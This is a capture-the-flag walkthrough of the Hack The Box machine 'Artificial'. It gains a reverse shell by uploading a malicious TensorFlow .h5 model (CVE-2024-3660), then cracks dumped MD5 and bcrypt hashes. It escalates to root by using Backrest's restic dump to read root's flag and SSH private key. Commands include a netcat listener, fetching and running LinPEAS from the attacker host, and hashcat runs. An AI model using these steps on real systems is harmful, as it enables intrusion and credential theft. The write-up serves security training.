Artificial (Easy) - HTB - Hack with Mike

Starting the box

Link to the box: https://app.hackthebox.com/machines/Artificial.

Port Scan

We start off the box by running a port scan on the provided IP.

Attacker Linux

rustscan --ulimit 5000 -a 10.10.11.74 -r 1-65535 -- -A -vvv -oN Artificial

Output of Nmap:

Terminal Output

22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNABz8gRtjOqG4+jUCJb2NFlaw1auQlaXe1/+I+BhqrriREBnu476PNw6mFG9ifT57WWE/...
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|   256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)

80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS

A few key notes:

Port 22 (SSH) is open. Running OpenSSH 8.2p1 — we’ll keep this in mind for later.
Port 80 (HTTP) is open, served by nginx 1.18.0. The Nmap output tells us the server immediately redirects to http://artificial.htb/, so we need to add this to our hosts file.
OS is Linux (Ubuntu).

Edit the Hosts file

As always, we edit the /etc/hosts file to add the hostname:

Attacker Linux

sudo nano /etc/hosts

/etc/hosts

Nano Interface

10.10.11.74 artificial.htb

Initial Foothold

Enumerating Port 22: SSH

OpenSSH 8.2p1 doesn’t have any straightforward publicly known exploits. Without credentials, SSH isn’t useful right now. Let’s focus on the web server.

Enumerating Port 80: Web Server

Directory Busting

Feroxbuster:

Attacker Linux

feroxbuster -u http://artificial.htb -C 404

Terminal Output

    GET       28l       60w      857c http://artificial.htb/login
    GET        5l       22w      189c http://artificial.htb/logout => http://artificial.htb/
    GET       33l       65w      952c http://artificial.htb/register
    GET      313l      666w     6610c http://artificial.htb/static/css/styles.css
    GET       33l       73w      999c http://artificial.htb/static/js/scripts.js
    GET      161l      472w     5442c http://artificial.htb/
    GET        5l       22w      199c http://artificial.htb/dashboard => http://artificial.htb/login

/login and /register endpoints exist — we can create an account.
/dashboard redirects to /login, confirming it requires authentication.
Nothing too unusual yet. Let’s explore the application.

Manual Enumeration

After registering an account and logging in, the dashboard greets us with:

Terminal Output

Your Models
Upload, manage, and run your AI models here.

This is an AI model management platform that lets users upload models.
We tried template injection payloads in available input fields — nothing returned.

The application provides a Dockerfile and requirements.txt for download, which immediately tells us the server-side environment: Dockerfile:

Terminal Output

FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/.../tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

requirements.txt:

Terminal Output

tensorflow-cpu==2.13.1

The server is running TensorFlow 2.13.1 in a Python 3.8 environment.
The upload endpoint expects .h5 files — the standard format for saving Keras/TensorFlow models.

The page also includes a sample model-building script:

Terminal Output

import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers
...
model.save('profits_model.h5')

This confirms .h5 is the expected format and that models are loaded server-side. This is a classic file-upload-to-RCE scenario if the model format is unsafe.

Exploiting TensorFlow: Malicious `.h5` Model (CVE-2024-3660)

A quick search reveals CVE-2024-3660 — Remote Code Execution via a malicious TensorFlow/Keras model. When the server loads an untrusted .h5 model file, arbitrary Python code embedded in the model’s Lambda layers gets executed.

Splinter0/tensorflow-rce — exploit PoC for CVE-2024-3660
The vulnerability affects TensorFlow 2.13 — which is exactly what this box uses.

Building the Exploit in Docker

Since we need to generate the malicious .h5 file in an environment that matches the target (TensorFlow 2.13 / Python 3.8), we use the provided Dockerfile to build a matching container.

Dead-end: VirtualBox Docker issues (feel free to read along what I did)

We hit a frustrating wall initially — running the exploit inside Docker on our Kali VM (VirtualBox) consistently produced:

Terminal Output

root@8c5b369369f7:/code# python /app/exploit.py
Illegal instruction (core dumped)

This turned out to be a known VirtualBox/QEMU CPU compatibility issue with certain TensorFlow builds — not a problem with the exploit itself. After trying various approaches (clearing Docker cache, rebuilding from scratch), the fix was to run Docker on Windows via WSL instead of inside the VirtualBox VM. This resolved the Illegal instruction error immediately.

Steps to build and run the exploit container: Step 1: Build the Docker image from the provided Dockerfile (inside the folder containing it):

Attacker Linux

sudo docker build -t artificial .

Step 2: Run the container with our working directory mounted so we can access the generated exploit file:

Attacker Linux

sudo docker run -it -v $(pwd):/app artificial

-v $(pwd):/app mounts our current directory into /app inside the container, so files created inside are accessible on our host.

Inside the container, we run the exploit script to generate a malicious exploit.h5 file with a reverse shell payload embedded in a Lambda layer.

Getting a Shell

We upload the generated exploit.h5 via the web dashboard. The server loads the model, triggering our embedded payload. Our listener catches the connection:

Attacker Linux

nc -nlvp 4444

Terminal Output

listening on [any] 4444 ...
connect to [10.10.14.x] from (UNKNOWN) [10.10.11.74] ...
$ whoami
app

We have a shell as the app user.

Post-Initial Enumeration (as `app`)

Finding Credentials in the Flask App

Let’s look at the web application source. We find the Flask secret key in app.py:

Terminal Output

app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

Noted for potential session forging, though we won’t need it.

Finding the SQLite Database

Searching the app’s instance directory, we find a user database:

Terminal Output

app@artificial:~/app/instance$ sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
model  user
sqlite> select * from user;
1|gael|[email protected]|c99175974b6e192936d97224638a34f8
2|mark|[email protected]|0f3d8c76530022670f1c6029eed09ccb
3|robert|[email protected]|b606c5f5136170f15444251665638b36
4|royer|[email protected]|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|[email protected]|bf041041e57f1aff3be7ea1abd6129d0

Five users with password hashes. The 32-character hex format is MD5 (hashcat mode 0).
Let’s target gael first — they’re likely the primary user on the box.

Cracking gael’s Hash

Attacker Linux

hashcat -m 0 c99175974b6e192936d97224638a34f8 /usr/share/wordlists/rockyou.txt

Terminal Output

c99175974b6e192936d97224638a34f8:mattp005numbertwo

Terminal Output

gael:mattp005numbertwo

We also check /etc/passwd to confirm gael has a shell:

Terminal Output

gael:x:1000:1000:gael:/home/gael:/bin/bash

Logging in as gael

Attacker Linux

ssh [email protected]

Terminal Output

gael@artificial:~$ ls
user.txt
gael@artificial:~$ cat user.txt
42550009838ced1ae7aa3a56397487b6

User flag: 42550009838ced1ae7aa3a56397487b6.

Privilege Escalation

Post-ex Enumeration

Running LinPEAS

Let’s transfer and run LinPEAS to look for escalation paths:

Attacker Linux

python -m http.server 8088

Terminal Output

gael@artificial:/tmp$ wget 10.10.14.x:8088/linpeas.sh && sh ./linpeas.sh

A few key findings: Active Ports:

Terminal Output

tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:9898          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN

Port 9898 is listening locally — likely the Backrest service we saw in /opt.
Port 5000 is also internal (probably the Flask app backend).

Interesting backup file:

Terminal Output

drwxr-xr-x 2 root root 4096 Sep 27 06:25 /var/backups
-rw-r----- 1 root sysadm 52357120 Mar  4  2025 backrest_backup.tar.gz

A large backup archive owned by root, group-readable by sysadm. Let’s check if we’re in that group.

Discovering Backrest

Terminal Output

gael@artificial:/opt/backrest$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

We’re in the sysadm group, so we can read backrest_backup.tar.gz.

Let’s look at what’s in /opt/backrest:

Terminal Output

gael@artificial:/opt/backrest$ ls -la
total 51116
drwxr-xr-x 5 root root         4096 Sep 27 07:50 .
drwxr-xr-x 3 root root         4096 Mar  4  2025 ..
-rwxr-xr-x 1 app  ssl-cert 25690264 Feb 16  2025 backrest
drwxr-xr-x 3 root root         4096 Mar  3  2025 .config
-rwxr-xr-x 1 app  ssl-cert     3025 Mar  3  2025 install.sh
-rw------- 1 root root           64 Mar  3  2025 jwt-secret
-rw-r--r-- 1 root root        77824 Sep 27 07:50 oplog.sqlite
-rwxr-xr-x 1 root root     26501272 Mar  3  2025 restic
drwxr-xr-x 2 root root         4096 Mar  3  2025 processlogs
drwxr-xr-x 3 root root         4096 Sep 27 07:50 tasklogs

backrest is a backup management tool running as root, with a web UI on port 9898.
restic is the underlying backup engine. It’s listed on GTFOBins as a tool that can be abused for privilege escalation.

Running ./backrest shows us the version and confirms the web UI is bound to 127.0.0.1:9898:

Terminal Output

2025-09-27T08:00:15.050Z        INFO    starting web server 127.0.0.1:9898
2025-09-27T08:00:15.050Z        ERROR   error starting server   {"error": "listen tcp 127.0.0.1:9898: bind: address already in use"}

The service is already running. We need to access it from our attacker machine via port forwarding.

Accessing Backrest via SSH Port Forwarding

Attacker Linux

ssh -N -L 0.0.0.0:9898:127.0.0.1:9898 [email protected]

Now we can browse to http://127.0.0.1:9898 on our machine. The Backrest login page is presented — but our current credentials don’t work.

Terminal Output

Backrest 1.7.2

No public exploits for this version. We need valid credentials.

Extracting Credentials from the Backup Archive

Let’s pull the backup archive down to our machine:

Attacker Linux

scp [email protected]:/var/backups/backrest_backup.tar.gz /home/kali/Desktop/HTB/Artificial/backrest_backup.tar.gz

Extract it (note: despite the .gz extension, it’s a plain .tar):

Attacker Linux

tar -xvf backrest_backup.tar.gz

Inside we find a config.json with Backrest’s user configuration:

Terminal Output

{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

A user named backrest_root with a passwordBcrypt field. The value looks like base64 — let’s decode it.

Attacker Linux

echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d

Terminal Output

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

A bcrypt hash ( $2a$ ). Hashcat mode 3200.

Attacker Linux

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

Terminal Output

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^

Terminal Output

backrest_root:!@#$%^

Logged into the Backrest web UI.

Abusing Backrest to Read Root Files

With admin access to Backrest, we can configure backup repositories and run backup jobs. Since restic (Backrest’s backend) runs as root, we can use it to read any file on the system. The approach:

Create a new backup repository at /tmp/backup
Add the /root directory as a backup source
Run the backup job to snapshot the /root directory
Use the web CLI to dump files directly from the snapshot

Using the Backrest web CLI:

Terminal Output

snapshots

This shows us the snapshot ID. We then dump the root flag:

Terminal Output

dump 23bf160b /root/root.txt

Terminal Output

command: /opt/backrest/restic dump 23bf160b /root/root.txt -o sftp.args=-oBatchMode=yes
0f05692aec3981fe17d04719ff75f304

Root flag: 0f05692aec3981fe17d04719ff75f304.

Let’s also grab root’s SSH private key for persistence:

Terminal Output

dump 11590e78 /root/.ssh/id_rsa

Terminal Output

command: /opt/backrest/restic dump 11590e78 /root/.ssh/id_rsa -o sftp.args=-oBatchMode=yes
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA5dXD22h0xZcysyHyRfknbJXk5O9tVagc1wiwaxGDi+eHE8vb5/Yq
...
-----END OPENSSH PRIVATE KEY-----

We now have root’s private key and can SSH in directly as root.

Key Learnings

1. TensorFlow/Keras Malicious Model RCE (CVE-2024-3660)

TensorFlow’s .h5 model format supports Lambda layers that execute arbitrary Python code when the model is loaded. By crafting a malicious .h5 file with a reverse shell payload in a Lambda layer, any application that loads untrusted models is vulnerable to RCE. Applications should never load model files from untrusted sources, and TensorFlow ≥ 2.13 is affected.

2. Docker Environment Compatibility

When generating exploit files that rely on specific library versions, the execution environment matters. Running Docker inside VirtualBox can cause Illegal instruction (core dumped) errors due to CPU instruction set mismatches (AVX/AVX2). If this happens, try running Docker natively on Windows via WSL instead.

3. Encoded Hashes in Configuration Files

Backup tools and other services sometimes store bcrypt hashes in their config files encoded in base64 rather than raw. Always run suspected hash strings through a base64 decode before attempting to crack them — a $2a$ prefix after decoding indicates bcrypt (hashcat mode 3200).

4. Abusing Backup Tools for Privileged File Read

Backrest (and its backend restic) runs with elevated privileges to perform system backups. If an attacker gains admin access to the Backrest web UI, they can configure a backup job targeting any directory (e.g., /root) and use the dump command to read arbitrary privileged files, including root.txt and SSH private keys.

Introduction

Active

Windows

Linux

Artificial (Easy) - HTB

Starting the box

Port Scan

Edit the Hosts file

Initial Foothold

Enumerating Port 22: SSH

Enumerating Port 80: Web Server

Directory Busting

Feroxbuster:

Manual Enumeration

Exploiting TensorFlow: Malicious `.h5` Model (CVE-2024-3660)

Building the Exploit in Docker

Getting a Shell

Post-Initial Enumeration (as `app`)

Finding Credentials in the Flask App

Finding the SQLite Database

Cracking gael’s Hash

Logging in as gael

Privilege Escalation

Post-ex Enumeration

Running LinPEAS

Discovering Backrest

Accessing Backrest via SSH Port Forwarding

Extracting Credentials from the Backup Archive

Abusing Backrest to Read Root Files

Key Learnings

1. TensorFlow/Keras Malicious Model RCE (CVE-2024-3660)

2. Docker Environment Compatibility

3. Encoded Hashes in Configuration Files

4. Abusing Backup Tools for Privileged File Read

Tags

Initial Access

Privilege Escalation

Introduction

Active

Windows

Linux

​Starting the box

​Port Scan

​Edit the Hosts file

​Initial Foothold

​Enumerating Port 22: SSH

​Enumerating Port 80: Web Server

​Directory Busting

Feroxbuster:

​Manual Enumeration

​Exploiting TensorFlow: Malicious .h5 Model (CVE-2024-3660)

​Building the Exploit in Docker

​Getting a Shell

​Post-Initial Enumeration (as app)

​Finding Credentials in the Flask App

​Finding the SQLite Database

​Cracking gael’s Hash

​Logging in as gael

​Privilege Escalation

​Post-ex Enumeration

​Running LinPEAS

​Discovering Backrest

​Accessing Backrest via SSH Port Forwarding

​Extracting Credentials from the Backup Archive

​Abusing Backrest to Read Root Files

​Key Learnings

​1. TensorFlow/Keras Malicious Model RCE (CVE-2024-3660)

​2. Docker Environment Compatibility

​3. Encoded Hashes in Configuration Files

​4. Abusing Backup Tools for Privileged File Read

​Tags

​Initial Access

​Privilege Escalation

Starting the box

Port Scan

Edit the Hosts file

Initial Foothold

Enumerating Port 22: SSH

Enumerating Port 80: Web Server

Directory Busting

Manual Enumeration

Exploiting TensorFlow: Malicious `.h5` Model (CVE-2024-3660)

Building the Exploit in Docker

Getting a Shell

Post-Initial Enumeration (as `app`)

Finding Credentials in the Flask App

Finding the SQLite Database

Cracking gael’s Hash

Logging in as gael

Privilege Escalation

Post-ex Enumeration

Running LinPEAS

Discovering Backrest

Accessing Backrest via SSH Port Forwarding

Extracting Credentials from the Backup Archive

Abusing Backrest to Read Root Files

Key Learnings

1. TensorFlow/Keras Malicious Model RCE (CVE-2024-3660)

2. Docker Environment Compatibility

3. Encoded Hashes in Configuration Files

4. Abusing Backup Tools for Privileged File Read

Tags

Initial Access

Privilege Escalation